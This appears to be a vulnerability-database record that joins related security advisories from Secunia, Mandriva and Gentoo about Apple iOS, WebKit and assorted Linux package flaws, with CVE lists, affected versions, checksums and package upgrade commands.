http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-1951
[ 55 ] CVE-2011-2471
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-2471
[ 56 ] CVE-2011-2472
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-2472
[ 57 ] CVE-2011-2473
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-2473
[ 58 ] CVE-2011-2524
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-2524
[ 59 ] CVE-2011-3365
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-3365
[ 60 ] CVE-2011-3366
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-3366
[ 61 ] CVE-2011-3367
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-3367
Availability
============
This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:
http://security.gentoo.org/glsa/glsa-201412-09.xml
Concerns?
=========
Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users' machines is of utmost
importance to us. Any security concerns should be addressed to
security@gentoo.org or alternatively, you may file a bug at
https://bugs.gentoo.org.
License
=======
Copyright 2014 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).
The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.
http://creativecommons.org/licenses/by-sa/2.5
. ----------------------------------------------------------------------
Secure your corporate defenses and reduce complexity in handling vulnerability threats with the new Secunia Vulnerability Intelligence Manager (VIM)
| VAR-201009-0251 | CVE-2010-1810 | iPhone and iPod touch Run on Apple iOS of FaceTime Call redirect vulnerability |
CVSS V2: 3.5 CVSS V3: - Severity: LOW |
FaceTime in Apple iOS before 4.1 on the iPhone and iPod touch does not properly handle invalid X.509 certificates, which allows man-in-the-middle attackers to redirect calls via a crafted certificate.
Successful exploits may allow privileged networked users to redirect FaceTime calls.
NOTE: This issue was previously discussed in BID 43070 (Apple iPhone/iPod touch Prior to iOS 4.1 Multiple Vulnerabilities) but has been given its own record to better document it
| VAR-201009-0250 | CVE-2010-1809 | iPhone and iPod touch Run on Apple iOS of Accessibility Component vulnerabilities |
CVSS V2: 10.0 CVSS V3: - Severity: HIGH |
The Accessibility component in Apple iOS before 4.1 on the iPhone and iPod touch does not perform the expected VoiceOver announcement associated with the location services icon, which has unspecified impact and attack vectors.
Successful exploits may result in a false sense of security.
NOTE: This issue was previously discussed in BID 43070 (Apple iPhone/iPod touch Prior to iOS 4.1 Multiple Vulnerabilities) but has been given its own record to better document it. The vulnerability has unspecified impact and attack vectors
| VAR-201009-0252 | CVE-2010-1811 | iPhone and iPod touch Run on Apple iOS of ImageIO Vulnerable to arbitrary code execution |
CVSS V2: 6.8 CVSS V3: - Severity: MEDIUM |
ImageIO in Apple iOS before 4.1 on the iPhone and iPod touch allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted TIFF file. Apple iOS for iPhone and iPod touch is prone to a memory-corruption vulnerability that affects the 'ImageIO' component.
Attackers can exploit this issue to execute arbitrary code in the context of the user running the affected application, or crash the affected application.
This issue affects iOS 2.0 through 4.0.2 for iPhone 3G and later and iOS 2.1 through 4.0.2 for iPod touch (2nd generation) and later.
NOTE: This issue was previously discussed in BID 43070 (Apple iPhone/iPod touch Prior to iOS 4.1 Multiple Vulnerabilities) but has been given its own records to better document it. ImageIO provides ImageReader and ImageWriter plugins for the Graphics Interchange Format (GIF) image format. ----------------------------------------------------------------------
Secure your corporate defenses and reduce complexity in handling vulnerability threats with the new Secunia Vulnerability Intelligence Manager (VIM).
Request a free trial:
http://secunia.com/products/corporate/vim/
----------------------------------------------------------------------
TITLE:
Apple iOS Multiple Vulnerabilities
SECUNIA ADVISORY ID:
SA42314
VERIFY ADVISORY:
Secunia.com
http://secunia.com/advisories/42314/
Customer Area (Credentials Required)
https://ca.secunia.com/?page=viewadvisory&vuln_id=42314
RELEASE DATE:
2010-11-24
DISCUSS ADVISORY:
http://secunia.com/advisories/42314/#comments
AVAILABLE ON SITE AND IN CUSTOMER AREA:
* Last Update
* Popularity
* Comments
* Criticality Level
* Impact
* Where
* Solution Status
* Operating System / Software
* CVE Reference(s)
http://secunia.com/advisories/42314/
ONLY AVAILABLE IN CUSTOMER AREA:
* Authentication Level
* Report Reliability
* Secunia PoC
* Secunia Analysis
* Systems Affected
* Approve Distribution
* Remediation Status
* Secunia CVSS Score
* CVSS
https://ca.secunia.com/?page=viewadvisory&vuln_id=42314
ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI:
* AUTOMATED SCANNING
http://secunia.com/vulnerability_scanning/personal/
http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/
DESCRIPTION:
Multiple vulnerabilities have been reported in Apple iOS, which can
be exploited by malicious people to conduct cross-site scripting and
spoofing attacks, disclose sensitive information, bypass certain
security restrictions, or to compromise a user's system.
For more information:
SA40257
SA41328
SA42151
SA42312
SOLUTION:
Upgrade to iOS 4.2 (downloadable and installable via iTunes).
ORIGINAL ADVISORY:
Apple:
http://support.apple.com/kb/HT4456
OTHER REFERENCES:
Further details available in Customer Area:
http://secunia.com/products/corporate/EVM/
DEEP LINKS:
Further details available in Customer Area:
http://secunia.com/products/corporate/EVM/
EXTENDED DESCRIPTION:
Further details available in Customer Area:
http://secunia.com/products/corporate/EVM/
EXTENDED SOLUTION:
Further details available in Customer Area:
http://secunia.com/products/corporate/EVM/
EXPLOIT:
Further details available in Customer Area:
http://secunia.com/products/corporate/EVM/
----------------------------------------------------------------------
About:
This Advisory was delivered by Secunia as a free service to help
private users keeping their systems up to date against the latest
vulnerabilities.
Subscribe:
http://secunia.com/advisories/secunia_security_advisories/
Definitions: (Criticality, Where etc.)
http://secunia.com/advisories/about_secunia_advisories/
Please Note:
Secunia recommends that you verify all advisories you receive by
clicking the link.
Secunia NEVER sends attached files with advisories.
Secunia does not advise people to install third party patches, only
use those supplied by the vendor.
----------------------------------------------------------------------
Unsubscribe: Secunia Security Advisories
http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org
----------------------------------------------------------------------
| VAR-201009-0253 | CVE-2010-1812 | iPhone and iPod touch Run on Apple iOS of WebKit Vulnerable to arbitrary code execution |
CVSS V2: 6.8 CVSS V3: - Severity: MEDIUM |
Use-after-free vulnerability in WebKit in Apple iOS before 4.1 on the iPhone and iPod touch, and webkitgtk before 1.2.6, allows remote attackers to execute arbitrary code or cause a denial of service (application crash) via vectors involving selections.
An attacker can exploit this issue by tricking an unsuspecting victim into viewing a web page containing malicious content. A successful exploit will result in the execution of arbitrary attacker-supplied code in the context of the user running the affected application.
This issue affects iOS 2.0 through 4.0.2 for iPhone 3G and later and iOS 2.1 through 4.0.2 for iPod touch (2nd generation) and later. WebKit is a set of open source web browser engines jointly developed by companies such as KDE, Apple (Apple), and Google (Google), and is currently used by browsers such as Apple Safari and Google Chrome. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
_______________________________________________________________________
Mandriva Linux Security Advisory MDVSA-2011:039
http://www.mandriva.com/security/
_______________________________________________________________________
Package : webkit
Date : March 2, 2011
Affected: 2010.1
_______________________________________________________________________
Problem Description:
Multiple cross-site scripting, denial of service and arbitrary code
execution security flaws were discovered in webkit.
Please consult the CVE web links for further information.
_______________________________________________________________________
References:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2797
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2841
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0046
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0047
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0048
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0049
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0050
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0051
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0052
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0053
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0054
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0314
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0647
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0650
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0651
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0656
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1386
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1387
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1389
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1390
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1391
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1392
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1393
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1394
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1395
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1396
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1397
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1398
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1400
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1401
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1402
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1403
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1404
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1405
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1406
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1407
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1408
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1409
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1410
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1412
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1414
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1415
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1416
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1417
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1418
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1419
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1421
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1422
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1501
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1664
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1665
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1758
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1759
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1760
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1761
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1762
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1764
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1766
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1767
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1770
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1771
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1772
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1773
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1774
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1780
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1781
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1782
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1783
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1784
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1785
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1786
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1787
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1788
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1790
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1791
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1792
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1793
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1807
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1812
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1814
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1815
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2264
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2647
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2648
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3113
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3114
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3115
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3116
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3119
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3248
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3255
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3257
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3259
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3812
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3813
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4040
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4197
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4198
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4204
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4206
_______________________________________________________________________
Updated Packages:
Mandriva Linux 2010.1:
141f3cd181b875d1bb40b67a507b6db1 2010.1/i586/libwebkitgtk1.0_2-1.2.7-0.1mdv2010.2.i586.rpm
054886a3c645b3ce710b9b9daec1d5f9 2010.1/i586/libwebkitgtk1.0-devel-1.2.7-0.1mdv2010.2.i586.rpm
bef556ca3f281f6ef4086292c3b658d2 2010.1/i586/webkit1.0-1.2.7-0.1mdv2010.2.i586.rpm
a1ff7ac638646aeb64e3bbdca9bc945d 2010.1/i586/webkit1.0-webinspector-1.2.7-0.1mdv2010.2.i586.rpm
3f40e3ebc62bad67097a9e102e0e79c2 2010.1/i586/webkit-1.2.7-0.1mdv2010.2.i586.rpm
50875cf1bc8718cedce1a45dc509b44b 2010.1/i586/webkit-gtklauncher-1.2.7-0.1mdv2010.2.i586.rpm
625d27780d1cc9edb935d4ac3521ae16 2010.1/i586/webkit-jsc-1.2.7-0.1mdv2010.2.i586.rpm
8d02c28d8f21a022130be4c49f9d27be 2010.1/SRPMS/webkit-1.2.7-0.1mdv2010.2.src.rpm
Mandriva Linux 2010.1/X86_64:
5ce57cd6ab823f8084030033c7c230d7 2010.1/x86_64/lib64webkitgtk1.0_2-1.2.7-0.1mdv2010.2.x86_64.rpm
690d8718a97af93f58de3bb2357fbe9b 2010.1/x86_64/lib64webkitgtk1.0-devel-1.2.7-0.1mdv2010.2.x86_64.rpm
7cc1d4aa77e1901ccc92f27faf85c9ea 2010.1/x86_64/webkit1.0-1.2.7-0.1mdv2010.2.x86_64.rpm
2b77a77159529c55f64343aba98c15d9 2010.1/x86_64/webkit1.0-webinspector-1.2.7-0.1mdv2010.2.x86_64.rpm
475cf83c5ddd8f6809c2c73a1f5a71d1 2010.1/x86_64/webkit-1.2.7-0.1mdv2010.2.x86_64.rpm
b0f1c76107c3d54241daa7e61bfb29a9 2010.1/x86_64/webkit-gtklauncher-1.2.7-0.1mdv2010.2.x86_64.rpm
97deff5e94a625a79842b4c240b0b00d 2010.1/x86_64/webkit-jsc-1.2.7-0.1mdv2010.2.x86_64.rpm
8d02c28d8f21a022130be4c49f9d27be 2010.1/SRPMS/webkit-1.2.7-0.1mdv2010.2.src.rpm
_______________________________________________________________________
To upgrade automatically use MandrivaUpdate or urpmi. The verification
of md5 checksums and GPG signatures is performed automatically for you. You can obtain the
GPG public key of the Mandriva Security Team by executing:
gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98
You can view other update advisories for Mandriva Linux at:
http://www.mandriva.com/security/advisories
If you want to report vulnerabilities, please contact
security_(at)_mandriva.com
_______________________________________________________________________
Type Bits/KeyID Date User ID
pub 1024D/22458A98 2000-07-10 Mandriva Security Team
<security*mandriva.com>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)
iD8DBQFNbgbemqjQ0CJFipgRAs9YAJ92z2WSC2ijj34b/wr42OIYLtv65gCg7XgL
Yv/ButpYAcXsmnJWUG4ayxQ=
=GRM6
-----END PGP SIGNATURE-----
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
.
For more information:
SA40257
SA41328
SA42151
SA42312
SOLUTION:
Upgrade to iOS 4.2 (downloadable and installable via iTunes). ----------------------------------------------------------------------
Windows Applications Insecure Library Loading
The Official, Verified Secunia List:
http://secunia.com/advisories/windows_insecure_library_loading/
The list is continuously updated as we confirm the vulnerability reports so check back regularly too see if any of your apps are affected.
----------------------------------------------------------------------
TITLE:
Ubuntu update for webkit
SECUNIA ADVISORY ID:
SA41856
VERIFY ADVISORY:
Secunia.com
http://secunia.com/advisories/41856/
Customer Area (Credentials Required)
https://ca.secunia.com/?page=viewadvisory&vuln_id=41856
RELEASE DATE:
2010-10-21
DISCUSS ADVISORY:
http://secunia.com/advisories/41856/#comments
AVAILABLE ON SITE AND IN CUSTOMER AREA:
* Last Update
* Popularity
* Comments
* Criticality Level
* Impact
* Where
* Solution Status
* Operating System / Software
* CVE Reference(s)
http://secunia.com/advisories/41856/
ONLY AVAILABLE IN CUSTOMER AREA:
* Authentication Level
* Report Reliability
* Secunia PoC
* Secunia Analysis
* Systems Affected
* Approve Distribution
* Remediation Status
* Secunia CVSS Score
* CVSS
https://ca.secunia.com/?page=viewadvisory&vuln_id=41856
ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI:
* AUTOMATED SCANNING
http://secunia.com/vulnerability_scanning/personal/
http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/
DESCRIPTION:
Ubuntu has issued an update for webkit. This fixes multiple
vulnerabilities, some of which have an unknown impact while others
can be exploited by malicious people to bypass certain security
restrictions, disclose sensitive information, conduct spoofing or
cross-site scripting attacks, and potentially compromise a user's
system.
Further details available in Customer Area:
http://secunia.com/products/corporate/EVM/
ORIGINAL ADVISORY:
USN-1006-1:
http://www.ubuntu.com/usn/usn-1006-1
OTHER REFERENCES:
Further details available in Customer Area:
http://secunia.com/products/corporate/EVM/
DEEP LINKS:
Further details available in Customer Area:
http://secunia.com/products/corporate/EVM/
EXTENDED DESCRIPTION:
Further details available in Customer Area:
http://secunia.com/products/corporate/EVM/
EXTENDED SOLUTION:
Further details available in Customer Area:
http://secunia.com/products/corporate/EVM/
EXPLOIT:
Further details available in Customer Area:
http://secunia.com/products/corporate/EVM/
----------------------------------------------------------------------
About:
This Advisory was delivered by Secunia as a free service to help
private users keeping their systems up to date against the latest
vulnerabilities.
Subscribe:
http://secunia.com/advisories/secunia_security_advisories/
Definitions: (Criticality, Where etc.)
http://secunia.com/advisories/about_secunia_advisories/
Please Note:
Secunia recommends that you verify all advisories you receive by
clicking the link.
Secunia NEVER sends attached files with advisories.
Secunia does not advise people to install third party patches, only
use those supplied by the vendor.
----------------------------------------------------------------------
Unsubscribe: Secunia Security Advisories
http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org
----------------------------------------------------------------------
. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory GLSA 201412-09
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Severity: High
Title: Multiple packages, Multiple vulnerabilities fixed in 2011
Date: December 11, 2014
Bugs: #194151, #294253, #294256, #334087, #344059, #346897,
#350598, #352608, #354209, #355207, #356893, #358611,
#358785, #358789, #360891, #361397, #362185, #366697,
#366699, #369069, #370839, #372971, #376793, #381169,
#386321, #386361
ID: 201412-09
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Synopsis
========
This GLSA contains notification of vulnerabilities found in several
Gentoo packages which have been fixed prior to January 1, 2012. The
worst of these vulnerabilities could lead to local privilege escalation
and remote code execution. Please see the package list and CVE
identifiers below for more information.
Background
==========
For more information on the packages listed in this GLSA, please see
their homepage referenced in the ebuild.
Affected packages
=================
-------------------------------------------------------------------
Package / Vulnerable / Unaffected
-------------------------------------------------------------------
1 games-sports/racer-bin >= 0.5.0-r1 Vulnerable!
2 media-libs/fmod < 4.38.00 >= 4.38.00
3 dev-php/PEAR-Mail < 1.2.0 >= 1.2.0
4 sys-fs/lvm2 < 2.02.72 >= 2.02.72
5 app-office/gnucash < 2.4.4 >= 2.4.4
6 media-libs/xine-lib < 1.1.19 >= 1.1.19
7 media-sound/lastfmplayer
< 1.5.4.26862-r3 >= 1.5.4.26862-r3
8 net-libs/webkit-gtk < 1.2.7 >= 1.2.7
9 sys-apps/shadow < 4.1.4.3 >= 4.1.4.3
10 dev-php/PEAR-PEAR < 1.9.2-r1 >= 1.9.2-r1
11 dev-db/unixODBC < 2.3.0-r1 >= 2.3.0-r1
12 sys-cluster/resource-agents
< 1.0.4-r1 >= 1.0.4-r1
13 net-misc/mrouted < 3.9.5 >= 3.9.5
14 net-misc/rsync < 3.0.8 >= 3.0.8
15 dev-libs/xmlsec < 1.2.17 >= 1.2.17
16 x11-apps/xrdb < 1.0.9 >= 1.0.9
17 net-misc/vino < 2.32.2 >= 2.32.2
18 dev-util/oprofile < 0.9.6-r1 >= 0.9.6-r1
19 app-admin/syslog-ng < 3.2.4 >= 3.2.4
20 net-analyzer/sflowtool < 3.20 >= 3.20
21 gnome-base/gdm < 3.8.4-r3 >= 3.8.4-r3
22 net-libs/libsoup < 2.34.3 >= 2.34.3
23 app-misc/ca-certificates
< 20110502-r1 >= 20110502-r1
24 dev-vcs/gitolite < 1.5.9.1 >= 1.5.9.1
25 dev-util/qt-creator < 2.1.0 >= 2.1.0
-------------------------------------------------------------------
NOTE: Certain packages are still vulnerable. Users should migrate
to another package if one is available or wait for the
existing packages to be marked stable by their
architecture maintainers.
-------------------------------------------------------------------
25 affected packages
Description
===========
Vulnerabilities have been discovered in the packages listed below.
Please review the CVE identifiers in the Reference section for details.
* FMOD Studio
* PEAR Mail
* LVM2
* GnuCash
* xine-lib
* Last.fm Scrobbler
* WebKitGTK+
* shadow tool suite
* PEAR
* unixODBC
* Resource Agents
* mrouted
* rsync
* XML Security Library
* xrdb
* Vino
* OProfile
* syslog-ng
* sFlow Toolkit
* GNOME Display Manager
* libsoup
* CA Certificates
* Gitolite
* QtCreator
* Racer
Impact
======
A context-dependent attacker may be able to gain escalated privileges,
execute arbitrary code, cause Denial of Service, obtain sensitive
information, or otherwise bypass security restrictions.
Workaround
==========
There are no known workarounds at this time.
Resolution
==========
All FMOD Studio users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=media-libs/fmod-4.38.00"
All PEAR Mail users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=dev-php/PEAR-Mail-1.2.0"
All LVM2 users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=sys-fs/lvm2-2.02.72"
All GnuCash users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=app-office/gnucash-2.4.4"
All xine-lib users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=media-libs/xine-lib-1.1.19"
All Last.fm Scrobbler users should upgrade to the latest version:
# emerge --sync
# emerge -a --oneshot -v ">=media-sound/lastfmplayer-1.5.4.26862-r3"
All WebKitGTK+ users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=net-libs/webkit-gtk-1.2.7"
All shadow tool suite users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=sys-apps/shadow-4.1.4.3"
All PEAR users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=dev-php/PEAR-PEAR-1.9.2-r1"
All unixODBC users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=dev-db/unixODBC-2.3.0-r1"
All Resource Agents users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot -v ">=sys-cluster/resource-agents-1.0.4-r1"
All mrouted users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=net-misc/mrouted-3.9.5"
All rsync users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=net-misc/rsync-3.0.8"
All XML Security Library users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=dev-libs/xmlsec-1.2.17"
All xrdb users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=x11-apps/xrdb-1.0.9"
All Vino users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=net-misc/vino-2.32.2"
All OProfile users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=dev-util/oprofile-0.9.6-r1"
All syslog-ng users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=app-admin/syslog-ng-3.2.4"
All sFlow Toolkit users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=net-analyzer/sflowtool-3.20"
All GNOME Display Manager users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=gnome-base/gdm-3.8.4-r3"
All libsoup users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=net-libs/libsoup-2.34.3"
All CA Certificates users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot -v ">=app-misc/ca-certificates-20110502-r1"
All Gitolite users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=dev-vcs/gitolite-1.5.9.1"
All QtCreator users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=dev-util/qt-creator-2.1.0"
Gentoo has discontinued support for Racer. We recommend that users
unmerge Racer:
# emerge --unmerge "games-sports/racer-bin"
NOTE: This is a legacy GLSA. Updates for all affected architectures
have been available since 2012. It is likely that your system is
already no longer affected by these issues.
References
==========
[ 1 ] CVE-2007-4370
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2007-4370
[ 2 ] CVE-2009-4023
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2009-4023
[ 3 ] CVE-2009-4111
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2009-4111
[ 4 ] CVE-2010-0778
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-0778
[ 5 ] CVE-2010-1780
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-1780
[ 6 ] CVE-2010-1782
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-1782
[ 7 ] CVE-2010-1783
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-1783
[ 8 ] CVE-2010-1784
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-1784
[ 9 ] CVE-2010-1785
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-1785
[ 10 ] CVE-2010-1786
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-1786
[ 11 ] CVE-2010-1787
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-1787
[ 12 ] CVE-2010-1788
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-1788
[ 13 ] CVE-2010-1790
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-1790
[ 14 ] CVE-2010-1791
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-1791
[ 15 ] CVE-2010-1792
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-1792
[ 16 ] CVE-2010-1793
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-1793
[ 17 ] CVE-2010-1807
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-1807
[ 18 ] CVE-2010-1812
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-1812
[ 19 ] CVE-2010-1814
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-1814
[ 20 ] CVE-2010-1815
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-1815
[ 21 ] CVE-2010-2526
